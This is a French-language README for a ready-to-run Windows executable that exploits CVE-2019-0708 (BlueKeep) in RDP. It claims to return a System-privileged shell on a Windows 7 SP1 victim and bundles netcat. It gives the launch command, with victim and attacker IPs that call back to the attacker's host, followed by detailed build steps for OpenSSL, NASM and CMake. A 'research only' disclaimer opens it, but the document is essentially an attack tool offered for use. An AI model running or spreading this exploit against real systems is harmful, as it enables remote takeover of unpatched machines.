CVE-2019-0708-EXP-Windows-Version
Avertissement
Le PoC de l'auteur est uniquement à des fins de recherche. Si le lecteur utilise ce PoC pour d'autres activités, cela n'engage pas ma responsabilité.
Table des matières
[toc]
Introduction
CVE-2019-0708-EXP-Windows est un fichier exe unique, fonctionnant sans Linux, Python, Ruby, etc. Après exécution, il renvoie directement un shell avec les droits System dans la console actuelle.
La compilation utilise un mode de bibliothèque entièrement statique intégrant toutes les DLL, avec netcat et OpenSSL intégrés. Prend en charge l'affichage de la barre de progression et les opérations d'écho du shell.
Environnement de reproduction
- Système d'exploitation de la victime : Windows 7 SP1 x64
- Système d'exploitation de l'attaquant : Windows 10 x64
- Environnement de compilation : Visual Studio 2013
Instructions d'utilisation
- Accédez au répertoire CVE-2019-0708-EXP-Release
- Exécutez wfreerdp.exe /v:Victim_IP /l:Attacker_IP, par exemple wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17
Tutoriel d'installation
- Copiez le projet FreeRDP-master vers E:\git\KernelResearch\FreeRDP-master\
- Installez l'environnement de compilation OpenSSL, ou décompressez simplement openssl.7z dans C:\openssl\ pour utiliser l'environnement OpenSSL précompilé.
- Installez l'environnement de compilation Nasm
- Installez cmake-3.15.3-win64-x64.msi en tant qu'administrateur
- Ajoutez C:\Program Files\CMake\bin à la variable d'environnement PATH
- Redémarrez l'ordinateur
- Exécutez "C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt
- Compilez le projet. Si vous constatez qu'il manque encore des fichiers, vous pouvez les restaurer à partir de FreeRDP-master-restore.7z
Tutoriel d'installation de l'environnement de compilation OpenSSL
- Décompressez openssl-1.0.2s.tar.gz dans C:\openssl\
- Installez ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
- Ajoutez C:\Perl64\bin à la variable d'environnement PATH
- Ouvrez l'invite de commande des outils natifs VS2013 x64 (disponible dans le menu Démarrer)
- Exécutez perl Configure VC-WIN64A
- Exécutez cd /d C:\openssl\
- Exécutez ms\do_win64a
- Ensuite, commencez la compilation. Les modes suivants peuvent être utilisés ; l'exp utilise le mode bibliothèque statique :
Compilation de la bibliothèque dynamique OpenSSL : nmake -f ms\ntdll.mak
Compilation de la bibliothèque statique OpenSSL : nmake -f ms\nt.mak
Test de la bibliothèque dynamique OpenSSL : nmake -f ms\ntdll.mak test
Test de la bibliothèque statique OpenSSL : nmake -f ms\nt.mak test
Installation de la bibliothèque dynamique OpenSSL : nmake -f ms\ntdll.mak install
Installation de la bibliothèque statique OpenSSL : nmake -f ms\nt.mak install
Effacez la compilation précédente de la bibliothèque dynamique OpenSSL pour recompiler : nmake -f ms\ntdll.mak clean
Effacez la compilation précédente de la bibliothèque statique OpenSSL pour recompiler : nmake -f ms\nt.mak clean
- Une fois terminé, allez dans le dossier out32, trouvez les fichiers libeay32.lib et ssleay32.lib et copiez-les dans C:\openssl\lib\
Tutoriel d'installation de l'environnement de compilation Nasm
- Installez nasm-2.14.02-installer-x64.exe en tant qu'administrateur
- Ajoutez C:\Program Files\NASM à la variable d'environnement PATH
- Décompressez nasmBuildCustomizations.rar et placez les 3 fichiers dans C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
- Sélectionnez le répertoire du projet client->common->freerdp-client, faites un clic droit -> "Générer les dépendances" -> "Générer les personnalisations", puis cochez l'élément nasm (attention, pas masm).
- Si, dans le projet freerdp-client, vous sélectionnez un fichier .asm et que l'option de compilation apparaît dans le menu contextuel, cela signifie que l'environnement de compilation Nasm a été installé avec succès.
Résultat d'exécution

Hébergement du projet
Mon adresse PoC
Contribution
L'auteur vient de ZheJiang Guoli Security Technology, email [email protected]